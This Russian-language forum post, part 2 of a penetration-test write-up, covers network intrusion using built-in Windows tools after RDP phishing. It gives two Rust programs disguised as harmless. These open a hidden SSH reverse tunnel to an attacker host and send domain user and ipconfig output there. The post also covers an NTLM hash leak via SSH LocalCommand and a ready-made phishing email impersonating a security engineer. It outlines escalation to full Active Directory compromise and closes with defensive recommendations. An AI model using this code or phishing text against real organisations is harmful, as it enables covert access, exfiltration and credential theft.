Используем встроенные средства Windows для проникновения в сеть (Часть 2)

SpecIT

Well-known member
Пользователь
Регистрация
3 Фев 2025
Сообщения
58
Реакции
12

Часть 2​

После удачного фишинга, как показывает статистика, у нас есть контроль над компьютером жертвы, однако сам по себе он не представляет большого интереса в рамках пентеста. Это лишь дверь во внутреннюю инфраструктуру заказчика. Дальше в ход идут инструменты бокового перемещения (pivoting), применение которых теперь тоже хорошо детектируется средствами защиты.
SSH предлагает некоторые захватывающие возможности в рамках нетрадиционного вектора начального доступа. С его помощью мы и получим желанный туннель реверс‑прокси в целевую сеть, в обход средств защиты.

Так как SSH на старых версиях Windows не предустановлен по умолчанию, принесем его с собой и положим в папку Pictures способом, описанным ранее. Тащить с собой все долго, и нам хватит лишь двух бинарей: libcrypto.dll и ssh.exe. Скачать портативную версию можно .
На VPS, используемых для атаки, создадим нового пользователя pivoting и сгенерируем ему ключ SSH. Копируем публичный ключ в authorized_keys этой учетной записи, а приватный кладем в папку C:\Netlogon, на сервере Rogue RDP.

Теперь создадим две безобидные программы: sshishing.exe, sshishing2.exe, которые выполнят оставшуюся часть работы после перезагрузки системы жертвы.
Код:
#![windows_subsystem = "windows"]
std:: process:: os::windows::process::
use { Command, CommandExt}; fn main() {
 let _output = Command::new("powershell")
 .args(&[
 "-Command",
 &format!(
 "$currentUser = $env:USERNAME; Invoke-Expression "C:\\Users\\$currentUser\\Pictures\\OpenSSH-Win64\\ssh.exe pivoting@<attacker_ip> -N -R 0 -i C:\\Users\\$currentUser\\Pictures\\rsa - o StrictHostKeyChecking=no -o 'PermitLocalCommand=yes' -o
'LocalCommand=C:\\Users\\$currentUser\\Pictures\\OpenSSH-Win64\\ssh.exe -i \\\\<attacker_ip>\\key.pem sshisher@1.1.1.1'""
 ),
 ])
 .creation_flags(0x08000000) // Set creation flags
 .output()
 .expect("Failed");
}

Программа создаст реверс‑прокси‑туннель в целевую сеть. Параметр -R 0 инструктирует SSH выбрать доступный порт на удаленной машине (это необходимо, чтобы иметь возможность поддерживать несколько одновременных успешных соединений). Параметр -o StrictHostKeyChecking=no поможет избежать предупреждения о неизвестном хосте SSH для подключения, а -o "LocalCommand=... выполнит указанную команду на хосте жертвы после успешного подключения. В нашем случае попытается обратиться к VPS атакующих и забрать файл (файла может и не быть, а жертву будет ждать Responder, с помощью которого мы попытаемся получить хеш жертвы, так как по статистике 20% компаний подвержены утечке Net-NTLMv2 при обращении к внешним ресурсам). Интересно, что ssh.exe может порождать cmd.exe и выполнять команды, даже если это запрещено с помощью GPO.

Вторая программа выполнит приятный трюк, который поможет собрать информацию о целевой сети. Она выполнит команду и перенаправит вывод в SSH для записи в файл на удаленной машине:
Код:
#![windows_subsystem = "windows"]
std:: process:: os::windows::process::
use { Command, CommandExt};
fn main() {
 let _output = Command::new("powershell.exe")
 .args(&[
 "-Command",
 &format!(
 "$currentUser = $env:USERNAME; Invoke-Expression "net user /domain | C:\\Users\\$currentUser\\Pictures\\OpenSSH-Win64\\ssh.exe pivoting@<attacker_ip> -i C:\\Users\\$currentUser\\Pictures\\rsa -o StrictHostKeyChecking=no 'cat >> info2.txt'""
 ),
 ])
 .creation_flags(0x08000000)
 .output()
 .expect("Failed");
 let _output = Command::new("powershell.exe")
 .args(&[
 "-Command",
 &format!(
 "$currentUser = $env:USERNAME; Invoke-Expression "ipconfig | C:\\Users\\$currentUser\\Pictures\\OpenSSH-Win64\\ssh.exe pivoting@<attacker_ip> -i C:\\Users\\$currentUser\\Pictures\\rsa -o StrictHostKeyChecking=no 'cat >> info.txt'""
 ),
 ])
 .creation_flags(0x08000000)
 .output()
 .expect("Failed");
}

К слову об уклонении от средств защиты и безобидности нагрузки. VirusTotal показывает 3/71 детекта, а простая программа, выполняющая whoami, — 2/71. При этом мы даже не пытались скрыть наши намерения. При желании можно свести детекты к нулю.

Вы должны быть зарегистрированы для просмотра вложений


Положим обе программы в папку C:\Netlogon на сервере Rogue RDP.

Применение на практике​

Описанный метод фишинга показал высокую результативность на реальных проектах. Ниже — образец письма:
Уважаемые сотрудники.

Для обеспечения безопасного доступа к корпоративным ресурсам и почтовому серверу мы тестируем новую систему удаленного доступа по протоколу RDP. Просим вас проверить работоспособность подключения по RDP и убедиться, что вы можете успешно получить доступ к необходимым ресурсам. Инструкция по использованию RDP прилагается во вложениях к письму.

В случае возникновения трудностей при подключении обратитесь в отдел информационной безопасности для получения дальнейшей помощи.

Данное письмо содержит конфиденциальную информацию. Запрещается пересылать данное сообщение третьим лицам без согласования.

Спасибо за понимание и сотрудничество.

С уважением,
старший инженер отдела информационной безопасности
А. Вилликс

Когда получатель письма подключился к RDP-серверу и перезагрузил свой ПК, на VPS появился новый туннель реверс‑прокси, информация о целевой сети и пользователях AD.
Вы должны быть зарегистрированы для просмотра вложений


К моему удивлению, тестируемая компания входила в те самые 20%, и Responder поймал хеш пользователя.
Код:
ssh -L 9000:127.0.0.1:39591 root@<pivoting_vps_ip>

Прокинув нужный удаленный порт VPS этой командой, я смог применять необходимые инструменты через proxychains.

В результате сканирования сети нашелся старый почтовый сервис, доступный только изнутри. Разумеется, про него забыли администраторы, и он оказался уязвим к ProxyNotShell ( и ). С помощью утекшего хеша NTLMv2 я получил учетные данные, необходимые для работы эксплоита.
Сдампив SAM, SYSTEM и SECURITY, я извлек несколько хешей, но они не подошли к учетным записям привилегированных пользователей AD.
Имея права локального администратора, я получил сохраненные пароли из браузера, среди которых был пароль администратора AD. А это уже полная компрометация инфраструктуры заказчика.

Рекомендации​

Что сделать, чтобы избежать подобного? Вот основные советы.
  • Настроить групповые политики (GPO) для предотвращения редиректа устройств при подключении к удаленному рабочему столу (RDP).
  • Заблокировать расширения .rdp для электронной почты. Заблокировать подключения RDP, выходящие за периметр корпоративной сети. Обучить сотрудников распознавать фишинг.
  • Настроить регулярный мониторинг и аудит сетевой активности для обнаружения и реагирования на подозрительное поведение, связанное с атаками на утечку NTLM.
  • Ограничить исходящий NTLM-трафик на внешние ресурсы, за пределами корпоративной сети.
  • Ограничить исходящий SSH-трафик на внешние ресурсы, за пределами корпоративной сети.
  • Применить правила для выявления подозрительного поведения при запуске ssh.exe с параметрами PermitLocalCommand и LocalCommand.
 
Сверху